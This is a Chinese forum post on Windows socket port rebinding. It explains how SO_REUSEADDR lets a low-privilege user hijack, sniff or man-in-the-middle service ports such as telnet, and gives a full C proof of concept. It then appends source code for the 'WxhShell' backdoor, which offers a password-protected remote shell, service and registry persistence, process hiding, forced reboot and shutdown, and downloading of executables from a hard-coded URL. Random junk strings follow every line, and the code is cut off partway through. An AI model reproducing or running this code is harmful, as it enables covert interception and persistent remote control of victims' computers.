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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YXCltM E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $ N`V%<W  
<vMna< /d  
  saddr.sin_family = AF_INET; \kSoDY`l&  
]0v;;PfVl6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'a.n  
N(i%Oxp1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EdGA#i3  
?bFP'.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $VEG1]/svp  
(Z:(f~;  
  这意味着什么?意味着可以进行如下的攻击: s18o,Zs'  
CTawXHM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -7MR2)U  
ZEY="pf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }/tT=G]91  
N>h/!# ZC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +c)"p4m  
$t*>A+J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3On IAk3  
J|*Z*m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vb{5-v ;a  
bVfFhfh*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 758`lfz=_  
&O|!w&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lMkDLobos  
V|6PKED  
  #include BR&T,x/d  
  #include &6]+a4  
  #include SCwAAE9s]  
  #include    %v}SJEXF p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u&4CXv=  
  int main() B$A`thQp  
  { H~Z$pk%  
  WORD wVersionRequested; 1D2Uomd(  
  DWORD ret; C]@v60I  
  WSADATA wsaData; *"cK_MH/o  
  BOOL val; lKVy{X 3]*  
  SOCKADDR_IN saddr; )"( ojh  
  SOCKADDR_IN scaddr; XKp$v']u  
  int err; 0*e)_l!  
  SOCKET s; |W't-}yf  
  SOCKET sc; P9d%80(b4  
  int caddsize; V[9#+l~#  
  HANDLE mt; 0[A4k:  
  DWORD tid;   ]JGh[B1gh  
  wVersionRequested = MAKEWORD( 2, 2 ); Lj]I7ICNh  
  err = WSAStartup( wVersionRequested, &wsaData ); N=2BrKb)o  
  if ( err != 0 ) { VSm[80iR0  
  printf("error!WSAStartup failed!\n"); J#k3iE}  
  return -1; U2Uf69R  
  } z@70{*  
  saddr.sin_family = AF_INET; tKr.{#)  
   ^oZz,q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r'TxYM-R  
^{ Kj{M22  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !yUn|v>&p  
  saddr.sin_port = htons(23); 4Sj;38F .1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D\~s$.6B  
  { w)Rtt 9  
  printf("error!socket failed!\n"); }kNbqwVP  
  return -1; q,e{t#t  
  } KOQiX?'  
  val = TRUE; YwbRzY-#F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B~%'YQk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m=s aUhI*9  
  { oK-T@ &-  
  printf("error!setsockopt failed!\n"); $q"/q*ys  
  return -1; \BRx dK'  
  } $`KddW0_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o+NPe36  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tEU}?k+:j)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >M}\_c=  
98c##NV(7|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k!&G ;6O-  
  { y_s^dQe  
  ret=GetLastError(); "7]YvZYu0  
  printf("error!bind failed!\n"); asT/hsSNS  
  return -1; /*V:Lh  
  } %i!=.7o.  
  listen(s,2); ]"ZL<?3g  
  while(1) +*I'!)T^B  
  { V6c>1nZ  
  caddsize = sizeof(scaddr); @ij8AGE:  
  //接受连接请求 sI M^e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cWNZ +Q8Y  
  if(sc!=INVALID_SOCKET) pCB^\M%*  
  {  |UudP?E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \d"uR@$3mG  
  if(mt==NULL) tQrF A2F  
  { fXL&?~fS  
  printf("Thread Creat Failed!\n"); P#0U[`ltK  
  break; /~8<;N>,+  
  } d`XC._%^J  
  } ^| b]E  
  CloseHandle(mt); nnzfKn:J  
  } i)@IV]]6yL  
  closesocket(s); tom1u>1n  
  WSACleanup(); 4 6yq F  
  return 0; QbN7sg~~  
  }   ]j4Nl?5*x  
  DWORD WINAPI ClientThread(LPVOID lpParam) hc2AGeZr  
  { 6~oo.6bA  
  SOCKET ss = (SOCKET)lpParam; mY)Y47iL  
  SOCKET sc; jD<fu  
  unsigned char buf[4096]; A`#/:O4|f  
  SOCKADDR_IN saddr; f;PPB@ :`$  
  long num; 5W Z9z-6  
  DWORD val; !ek};~(  
  DWORD ret; u|.c?fW'3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $i|c6&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9<" .1  
  saddr.sin_family = AF_INET; !1X^lFf;~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2!w5eWl,  
  saddr.sin_port = htons(23); sy\w ^]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T?DX|?2X  
  { |}?o=bO  
  printf("error!socket failed!\n"); [|vE*&:uO  
  return -1; t+H=%{z  
  } 51)Q&,Mo#  
  val = 100; O(_a6s+m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 342m=7lK  
  { 7\T~K Yb?  
  ret = GetLastError(); #A:+|{H"  
  return -1; dF`\ewRFn  
  } C.#\ Pz0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =*[98%b   
  { as k76  e  
  ret = GetLastError(); #s}cK  
  return -1; &A1~x!`  
  } hoDE*>i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {9,!XiF.:  
  { 6Hh\ys  
  printf("error!socket connect failed!\n"); Dp8`O4YC  
  closesocket(sc); 3j h: K   
  closesocket(ss); lQq&tz,  
  return -1; k^%Kw(/  
  } 6^Q/D7U;s  
  while(1) 1Z$` }a  
  { oPbxe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %x]8^vze  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "R!) "B==  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mx]![O.ye  
  num = recv(ss,buf,4096,0); Ld9YbL:  
  if(num>0) >Av[`1a2F  
  send(sc,buf,num,0); </jzM?i  
  else if(num==0) q!y6 K*  
  break; T`7HQf ;  
  num = recv(sc,buf,4096,0); tx9;8K3  
  if(num>0) &hSABtr}  
  send(ss,buf,num,0); `zw^ WbCO{  
  else if(num==0) x Ilo@W6  
  break; P\nz;}nv  
  } g2|qGfl{C  
  closesocket(ss); en?J#fz  
  closesocket(sc); "dItv#<:}  
  return 0 ; K!cLEG!G  
  } 2K~<_.S  
->rr4xaKC  
3$yOv "`  
========================================================== *i)3q+%.  
%RS~>pK1  
下边附上一个代码,,WXhSHELL YR? ujN  
F3Y/Miw  
========================================================== n{1;BW#H  
Z6S?xfhr'{  
#include "stdafx.h" ~TvKMW6/#  
brpsZU  
#include <stdio.h> N,?4,+Hc-  
#include <string.h> u &qFE=5:  
#include <windows.h> 6 *GR_sMm  
#include <winsock2.h> .G~Y`0  
#include <winsvc.h> {)5tov1  
#include <urlmon.h> -KA Y  
QO;OeMQv%  
#pragma comment (lib, "Ws2_32.lib") Hdxon@,+cd  
#pragma comment (lib, "urlmon.lib") t)__J\xF  
!C3ozZ<  
#define MAX_USER   100 // 最大客户端连接数 p\).zuEf.  
#define BUF_SOCK   200 // sock buffer U{[ g"_+~  
#define KEY_BUFF   255 // 输入 buffer f$|AU- |<  
 d  H ;  
#define REBOOT     0   // 重启 Kwmtt  
#define SHUTDOWN   1   // 关机 J4l \  
;+3XDz v  
#define DEF_PORT   5000 // 监听端口 eJ"je@vvrK  
AS-%I+ A  
#define REG_LEN     16   // 注册表键长度 a@ v}j&  
#define SVC_LEN     80   // NT服务名长度 iU1yJ=  
)xxpO$  
// 从dll定义API $eU oFa5A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >gSiH#>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pj9*$.{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6!T9VL\=H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l6~wm1vO  
Zjq(]y  
// wxhshell配置信息 ;_dOYG1  
struct WSCFG { AQU^7O  
  int ws_port;         // 监听端口 AbA_s I<;  
  char ws_passstr[REG_LEN]; // 口令 !+H)N  
  int ws_autoins;       // 安装标记, 1=yes 0=no WXmR{za   
  char ws_regname[REG_LEN]; // 注册表键名 ( C~ u.  
  char ws_svcname[REG_LEN]; // 服务名 *P; cSx?2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vAt ]N)R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xN +Oca  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /!A?>#O&.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0=erf62=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A8T75?lL(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GC3WB4iY@U  
duq(K9S  
}; O-,0c1ts  
,~nrNkhp  
// default Wxhshell configuration A9 ;!\Wo  
struct WSCFG wscfg={DEF_PORT, );!IGcgF  
    "xuhuanlingzhe", kdW$>Jqb  
    1, $VNj0i. Pr  
    "Wxhshell", (,XbxDfM  
    "Wxhshell", |6o!]~&e$1  
            "WxhShell Service", ESyb34T`  
    "Wrsky Windows CmdShell Service", -PiakX  
    "Please Input Your Password: ", ,k |QuOrCh  
  1, M;j)F  
  "http://www.wrsky.com/wxhshell.exe", !e?2 x@J  
  "Wxhshell.exe" y"T(Unvc  
    }; t$EL3U/(  
,TlYQ/j%h  
// 消息定义模块 c1sVdM}|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IcJQC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ux-i iH#s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nw,XA0M3  
char *msg_ws_ext="\n\rExit."; =Y {<&:%(  
char *msg_ws_end="\n\rQuit."; *&doI%q  
char *msg_ws_boot="\n\rReboot..."; ^R h`XE  
char *msg_ws_poff="\n\rShutdown..."; 3Q!)bMv \  
char *msg_ws_down="\n\rSave to "; *nx$r[Mqj  
tRVz4fk[G  
char *msg_ws_err="\n\rErr!"; k@|Go )~  
char *msg_ws_ok="\n\rOK!"; FjV)QP H  
MG:eI?G/'  
char ExeFile[MAX_PATH]; [9d4 0>e  
int nUser = 0; 7-VP)|L#G  
HANDLE handles[MAX_USER]; ApTE:Fm1  
int OsIsNt; ,B1~6y\b  
"_ H 9]}Q  
SERVICE_STATUS       serviceStatus; -8Q}*Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %\] x}IC  
2*5pjd{Kt  
// 函数声明 g+]o=@  
int Install(void); YB]{gm2  
int Uninstall(void); Y2aN<>f  
int DownloadFile(char *sURL, SOCKET wsh); '0<9+A#  
int Boot(int flag); 1O2jvt7M  
void HideProc(void); r !;wKO  
int GetOsVer(void); ZVz`g]  
int Wxhshell(SOCKET wsl); .&2~g A  
void TalkWithClient(void *cs); V`m9+<.1b  
int CmdShell(SOCKET sock); opgNt o6$  
int StartFromService(void); ,}/6Za  
int StartWxhshell(LPSTR lpCmdLine); 3QDz9KwCAw  
gMsB1|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oVQbc \P3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .`jYrW-k  
p^)w$UL}}  
// 数据结构和表定义 e=`=7H4P  
SERVICE_TABLE_ENTRY DispatchTable[] = nL+y"O  
{ uxlrJ1~M  
{wscfg.ws_svcname, NTServiceMain}, uj@d {AQ  
{NULL, NULL} ]OV}yD2p  
}; M{g.x4M@W  
HcM/  
// 自我安装 l4ru0V8s7  
int Install(void) rE%H NPO  
{ -I[KIeF  
  char svExeFile[MAX_PATH]; *uoO#4g~  
  HKEY key; fZb}-  
  strcpy(svExeFile,ExeFile); -z">ov-)  
0UhJ I  
// 如果是win9x系统,修改注册表设为自启动 OMAvJzK .  
if(!OsIsNt) { 6w~Cyu4Ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t==\D?Rt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [lGxys)J  
  RegCloseKey(key); 8^67,I-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K[S)e!\.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c7D{^$L9 v  
  RegCloseKey(key); PYTwyqS  
  return 0; u.Tknw-X  
    } ?JBA`,-  
  } :LCyxLI  
} Q CO,f  
else { Q/0oe())  
.DM-&P  
// 如果是NT以上系统,安装为系统服务 qRHT~ta-?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *T~b ox  
if (schSCManager!=0) <H$!OPV  
{ b[J0+l\!"  
  SC_HANDLE schService = CreateService / ;+Mz*  
  ( u4$R ZTC  
  schSCManager, Bj GfUQ  
  wscfg.ws_svcname, [Sj"gLj  
  wscfg.ws_svcdisp, 'Fql;&U >  
  SERVICE_ALL_ACCESS, bd H+M?k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V9jxmu F,  
  SERVICE_AUTO_START, ]Ljb&*IEj  
  SERVICE_ERROR_NORMAL, &G?"I%Vw  
  svExeFile, $%4<q0-  
  NULL, 11c\C Iu  
  NULL, }I1j#d0.  
  NULL, 2A:&Cqo  
  NULL, *qu5o5Q  
  NULL DP;:%L}  
  ); L4Kg%icz l  
  if (schService!=0) Ow(aRWUZD_  
  { kP'm$+1or  
  CloseServiceHandle(schService); ydA@@C\&  
  CloseServiceHandle(schSCManager); hy>0'$mU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,.h@tN<C  
  strcat(svExeFile,wscfg.ws_svcname); LzD RyL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mdh]qKw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eiXl"R^  
  RegCloseKey(key); ^qi+Y)dU|  
  return 0; yFS{8yrRUU  
    } \hn$-'=4  
  } 'oH3|  
  CloseServiceHandle(schSCManager); oo BBg@  
} aqWlX0+  
} o 0T1pGs'  
hn\d{HP  
return 1; W;l0GxOxQ  
} L62%s[  
q"oNFHYPDs  
// 自我卸载 f/s"2r  
int Uninstall(void) ,LP^v'[V7  
{ a>rDJw:  
  HKEY key; e6bh,BwgQq  
qj `C6_?  
if(!OsIsNt) { 8Lgm50bs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  UO#`Ak  
  RegDeleteValue(key,wscfg.ws_regname); dsj}GgG?Z  
  RegCloseKey(key); =FI[/"476  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k{=dV  
  RegDeleteValue(key,wscfg.ws_regname); }}ic{931  
  RegCloseKey(key); ek U%^R<  
  return 0; $d!Vxm  
  } Ok|Dh;1_  
} U]w"T{;@.)  
} )B)f`(SA"<  
else { F#M(#!)Y"  
"^!y>]j#A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <VQ)}HW;k  
if (schSCManager!=0) RjTGm=1w  
{ 9thG4T8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eV/oY1B]<  
  if (schService!=0) Pr(@&:v:  
  { Jj\lF*B  
  if(DeleteService(schService)!=0) { mw}Bl; - O  
  CloseServiceHandle(schService); 8D,*_p  
  CloseServiceHandle(schSCManager); EU>`$M&w-  
  return 0; K)se$vb6  
  } ^jUw4Dj~-q  
  CloseServiceHandle(schService); X{Hh^H  
  } Crg'AB?  
  CloseServiceHandle(schSCManager); y+w,j]  
} >`SeX:  
} |FM*1Q[1  
-W<1BJE  
return 1; z7gX@@T  
}  o kA<  
c-}[v<o  
// 从指定url下载文件 D>@NYqMF  
int DownloadFile(char *sURL, SOCKET wsh) .|5$yGEF_+  
{ N$IA~)  
  HRESULT hr; GGr82)E  
char seps[]= "/"; rF"p7  
char *token; ..+#~3es#y  
char *file; KR%WBvv   
char myURL[MAX_PATH]; g#^MO]pY  
char myFILE[MAX_PATH]; $7c,<=  
y%; o  
strcpy(myURL,sURL); +kQ=2dva  
  token=strtok(myURL,seps); dpsc gW{M  
  while(token!=NULL) m,!SD Cq  
  { f$:SacF  
    file=token; FE&:?  
  token=strtok(NULL,seps); Z[d13G;  
  } xk% 62W  
Es)|#0m\x@  
GetCurrentDirectory(MAX_PATH,myFILE); p^k0Rad  
strcat(myFILE, "\\"); Z%:>nDZV  
strcat(myFILE, file); ],S {?!'1  
  send(wsh,myFILE,strlen(myFILE),0); ByJPSuc D  
send(wsh,"...",3,0);  16~E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HOFxOBV  
  if(hr==S_OK) ;%^=V#  
return 0; Cd"{7<OyM4  
else bIyg7X)/  
return 1; 3u$1W@T(  
-|KZOea  
} BDWbWA 6  
Z%B6J>;uM  
// 系统电源模块 v /c]=/  
int Boot(int flag) ,:A;4  
{ ~Ss,he]Er  
  HANDLE hToken; R=LiB+p  
  TOKEN_PRIVILEGES tkp; D\-\U E/  
M\5|  
  if(OsIsNt) { o5?Y   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !LwHKCj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,_RNZ sa;&  
    tkp.PrivilegeCount = 1; @|DQZt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~;#}aQYo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4$pV;xV  
if(flag==REBOOT) { 7 s5(eQI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^.!jD+=I  
  return 0; </`\3t  
} 5P-t{<]tx  
else { oIj=ba(n1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7<] EH:9  
  return 0; za@/4z  
} F9u?+y-xb  
  } V+O,y9  
  else { yQ N{)rv  
if(flag==REBOOT) { Jq'8"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z%qtAPd  
  return 0; *b. >  
} UgC65O2  
else { }Ze*/ p-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xi98:0<=  
  return 0; j,+]tHC-  
} | :-i[G?n  
} Wjw ,LwB  
j fY7ich  
return 1; W-n4w Ij"  
} Tn#Co$<  
P.,U>m  
// win9x进程隐藏模块 M}V!;o<t^  
void HideProc(void) RDp  
{ 1*TbgxS~W  
ZP<<cyY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LZRg%3.E  
  if ( hKernel != NULL ) 7~mhWPzMwB  
  { qJrT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 67II9\/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tTLg;YjN  
    FreeLibrary(hKernel); =Xh)34q  
  } q*l4h u%3  
dz] 5s  
return; `x9Eo4(/  
} FQDf?d5  
_{Kmj,q  
// 获取操作系统版本 ,_Z(!| rW  
int GetOsVer(void) YNEwX$)M,B  
{ v _MQ]X  
  OSVERSIONINFO winfo; v 3I^81  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X g6ezlW  
  GetVersionEx(&winfo); uw}Rr7q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?l0Qi  
  return 1; |`5 IP8Z  
  else qz-QVY,  
  return 0; t;e&[eg  
} hxO}'`:  
YX0ysE*V:&  
// 客户端句柄模块 -b(DPte  
int Wxhshell(SOCKET wsl) 4I$Y(E}  
{ 'r?ULft1  
  SOCKET wsh; cuhp4!!  
  struct sockaddr_in client; x#>V50E  
  DWORD myID; J7`mEL>?  
FE~D:)Xj'?  
  while(nUser<MAX_USER) =&WIa#!=  
{ @NiuT%#c  
  int nSize=sizeof(client); D@O `"2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ?Y(  
  if(wsh==INVALID_SOCKET) return 1; 2B ]q1>a!  
->sxz/L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EhcJE;S)  
if(handles[nUser]==0) ;w7mr1  
  closesocket(wsh); bn(N8MFCV  
else  \i%'M%  
  nUser++; u\]EG{w(  
  } EuK}L[Kl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?[ xgt )  
S /hx\TzC  
  return 0; Kxr@!m"  
} Nd~B$venh  
-NBVUUAgN  
// 关闭 socket ;tjOEmIiU  
void CloseIt(SOCKET wsh) DX s an  
{ ar 3L|MN  
closesocket(wsh); T ozx0??)  
nUser--; wPlM= .Hq?  
ExitThread(0); -@pjEI  
} De?VZ2o9"  
D)d]o&  
// 客户端请求句柄 9LDv?kYr  
void TalkWithClient(void *cs) a>wCBkD  
{ m{\ & k  
<LHhs <M'  
  SOCKET wsh=(SOCKET)cs; %5o2I_Cjz  
  char pwd[SVC_LEN]; 82r8K|L.<y  
  char cmd[KEY_BUFF]; LOh2eZ"n  
char chr[1]; g6GkA.!X$  
int i,j; ,"v&r(  
n6/Ous  
  while (nUser < MAX_USER) { 0U '"@A \  
\ TV  
if(wscfg.ws_passstr) { EL 5+pt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -ss= c#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O2w-nd74U  
  //ZeroMemory(pwd,KEY_BUFF); O'<V[Y} 6  
      i=0; h0{X$&:  
  while(i<SVC_LEN) { VD;*UkapZx  
~tDYo)hH8  
  // 设置超时 FuhmLm'p  
  fd_set FdRead; t R^f]+Up  
  struct timeval TimeOut; mQ"~x]  
  FD_ZERO(&FdRead); lx)^wAO4  
  FD_SET(wsh,&FdRead); T5XXC1+  
  TimeOut.tv_sec=8; afm\Iv[*  
  TimeOut.tv_usec=0; Z)?$ZI@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YpZB-9Krf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wlS/(:02  
)U/jD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]C_+u_9  
  pwd=chr[0]; s8h*nZ)v  
  if(chr[0]==0xd || chr[0]==0xa) { YT\`R  
  pwd=0; kiTC)S=])  
  break; 77>oQ~q  
  } TW|K.t@5#H  
  i++; Ak'=l;  
    } f ULt4  
,AP&N'  
  // 如果是非法用户,关闭 socket |RX#5Q>z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Et=Pr+Q{c  
} X\^V{v^-  
#]` uH{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H$![]Ujq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6o't3Peh  
n`Q@<op  
while(1) { !eX0Q 2  
}(EH5jZ'  
  ZeroMemory(cmd,KEY_BUFF); >eJ <-3L;  
GZ%vFje_ K  
      // 自动支持客户端 telnet标准   Sd7jd?#9'  
  j=0; vDjH $ U  
  while(j<KEY_BUFF) { ;ALWL~Xm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'uL4ezTtA  
  cmd[j]=chr[0]; K_i|cYGV  
  if(chr[0]==0xa || chr[0]==0xd) { pMfb(D"  
  cmd[j]=0; EX,>V,.UV  
  break; pH '_k k  
  } 0eY!Z._^  
  j++; : |'(T[~L  
    } +nYFLe  
kK &w5'  
  // 下载文件 f$I=o N  
  if(strstr(cmd,"http://")) { %>+uEjbT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #g{R+#fm  
  if(DownloadFile(cmd,wsh)) @MSmg3 &  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mx Nd_{n  
  else JP#S/kJ%3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kXscbRL7  
  } S<Dbv?  
  else { !XPjRdq  
[LoQYDku  
    switch(cmd[0]) { ;aQ`` B  
  3$?6rMl@y  
  // 帮助 $*q|}Tvl#  
  case '?': { dq 93P%X24  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *.W3V;K  
    break; s9Hxiw@D  
  } )Q2IYCj{  
  // 安装 l5 9a3=q  
  case 'i': { sN41Bz$q.  
    if(Install()) z; GQnAG@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .psb# 4  
    else /U;j-m&   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )vW'g3u_  
    break; ~[;r) g\  
    } .a4,Lr#q.  
  // 卸载 \.Lj A_  
  case 'r': { :nx+(xgw  
    if(Uninstall()) >@vu;j\*E5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64B.7S88  
    else J"aw 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E)-;sFz  
    break; q?!HzZ  
    } g,,wG k  
  // 显示 wxhshell 所在路径 s= %3`3Fo  
  case 'p': { 3](hMk,}  
    char svExeFile[MAX_PATH]; Tg{5%~L]   
    strcpy(svExeFile,"\n\r"); ^KhJBM/Z  
      strcat(svExeFile,ExeFile); 6KddHyFz  
        send(wsh,svExeFile,strlen(svExeFile),0); Qs1CK;+zU  
    break; Y 9$jJ1V  
    } KA2>[x2  
  // 重启 |=0vgwd"S  
  case 'b': { orjtwF>^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wAHuPQ&_Q  
    if(Boot(REBOOT)) o GuAF q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x?S86,RW  
    else { /a\i  
    closesocket(wsh); bdL= ?KS  
    ExitThread(0); 2 7)If E  
    } =@U5/J  
    break; Mt.Cj;h@^[  
    } _r:Fmn_%-  
  // 关机 in>+D|q c  
  case 'd': { $gr>Y2i  
